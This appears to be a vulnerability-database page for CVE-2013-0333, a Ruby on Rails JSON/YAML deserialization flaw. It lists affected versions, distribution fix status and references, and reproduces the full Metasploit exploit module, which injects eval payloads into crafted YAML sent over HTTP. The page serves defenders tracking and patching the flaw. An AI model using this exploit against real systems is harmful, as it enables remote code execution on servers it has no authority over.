CVE-2013-0333
Description
lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
JSON request processor of the Ruby on Rails application framework.
This vulnerability allows an attacker to instantiate a remote object,
which in turn can be used to execute any ruby code remotely in the
context of the application. This vulnerability is very similar to
CVE-2013-0156.
This module has been tested successfully on RoR 3.0.9, 3.0.19, and
2.3.15.
The technique used by this module requires the target to be running a
fairly recent version of Ruby 1.9 (since 2011 or so). Applications
using Ruby 1.8 may still be exploitable using the init_with() method,
but this has not been demonstrated.
},
'Author' =>
[
'jjarmoc', # Initial module based on cve-2013-0156, testing help
'egypt', # Module
'lian', # Identified the RouteSet::NamedRouteCollection vector
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0333'],
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 28 2013',
'DefaultOptions' => { "PrependFork" => true },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
], self.class)
end
#
# Create the YAML document that will be embedded into the JSON
#
def build_yaml_rails2
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
yaml.gsub(':', '\u003a')
end
#
# Create the YAML document that will be embedded into the JSON
#
def build_yaml_rails3
code = Rex::Text.encode_base64(payload.encoded)
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml.gsub(':', '\u003a')
end
def build_request(v)
case v
when 2; build_yaml_rails2
when 3; build_yaml_rails3
end
end
#
# Send the actual request
#
def exploit
[2, 3].each do |ver|
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/json',
'headers' => { 'X-HTTP-Method-Override' => 'get' },
'data' => build_request(ver)
}, 25)
handler
end
end
end
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.3.14.1 |
| sid | Fixed | 2.3.14.1 |
| forky | Fixed | 2.3.14.1 |
| bullseye | Fixed | 2.3.14.1 |
| bookworm | Fixed | 2.3.14.1 |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| RubyGems | activesupport | <~> 2.3.16 | ~> 2.3.16 |
| RubyGems | activesupport | >=2.3.2,<2.3.16 | 2.3.16 |
| RubyGems | activesupport | >=3.0.0,<3.0.20 | 3.0.20 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| rubyonrails | rails | 2.3.0 | |
| rubyonrails | rails | 2.3.1 | |
| rubyonrails | rails | 2.3.2 | |
| rubyonrails | rails | 2.3.3 | |
| rubyonrails | rails | 2.3.4 | |
| rubyonrails | rails | 2.3.9 | |
| rubyonrails | rails | 2.3.10 | |
| rubyonrails | rails | 2.3.11 | |
| rubyonrails | rails | 2.3.12 | |
| rubyonrails | rails | 2.3.13 | |
| rubyonrails | rails | 2.3.14 | |
| rubyonrails | rails | 2.3.15 | |
| rubyonrails | rails | 3.0.0 | |
| rubyonrails | rails | 3.0.1 | |
| rubyonrails | rails | 3.0.2 | |
| rubyonrails | rails | 3.0.3 | |
| rubyonrails | rails | 3.0.4 | |
| rubyonrails | rails | 3.0.5 | |
| rubyonrails | rails | 3.0.6 | |
| rubyonrails | rails | 3.0.7 | |
| rubyonrails | rails | 3.0.8 | |
| rubyonrails | rails | 3.0.9 | |
| rubyonrails | rails | 3.0.10 | |
| rubyonrails | rails | 3.0.11 | |
| rubyonrails | rails | 3.0.12 | |
| rubyonrails | rails | 3.0.13 | |
| rubyonrails | rails | 3.0.14 | |
| rubyonrails | rails | 3.0.16 | |
| rubyonrails | rails | 3.0.17 | |
| rubyonrails | rails | 3.0.18 | |
| rubyonrails | rails | 3.0.19 | |
| rubyonrails | ruby_on_rails | 3.0.4 | |
References
- https://nvd.nist.gov/vuln/detail/CVE-2013-0333
- http://lists.apple.com/archives/security-announce/2013/Jun/msg00000.html
- http://lists.apple.com/archives/security-announce/2013/Mar/msg00002.html
- http://rhn.redhat.com/errata/RHSA-2013-0201.html
- http://rhn.redhat.com/errata/RHSA-2013-0202.html
- http://rhn.redhat.com/errata/RHSA-2013-0203.html
- http://support.apple.com/kb/HT5784
- http://weblog.rubyonrails.org/2013/1/28/Rails-3-0-20-and-2-3-16-have-been-released/
- http://www.debian.org/security/2013/dsa-2613
- http://www.kb.cert.org/vuls/id/628463
- https://groups.google.com/group/rubyonrails-security/msg/52179af76915e518?dmode=source&output=gplain
- https://puppet.com/security/cve/cve-2013-0333
- https://access.redhat.com/errata/RHSA-2013:0201
- https://access.redhat.com/errata/RHSA-2013:0202
- https://access.redhat.com/errata/RHSA-2013:0203
- https://access.redhat.com/security/cve/CVE-2013-0333
- https://bugzilla.redhat.com/show_bug.cgi?id=903440
- https://github.com/advisories/GHSA-xgr2-v94m-rc9g
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activesupport/CVE-2013-0333.yml
- https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/1h2DR63ViGo
- http://weblog.rubyonrails.org/2013/1/28/Rails-3-0-20-and-2-3-16-have-been-released
- https://security-tracker.debian.org/tracker/CVE-2013-0333
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.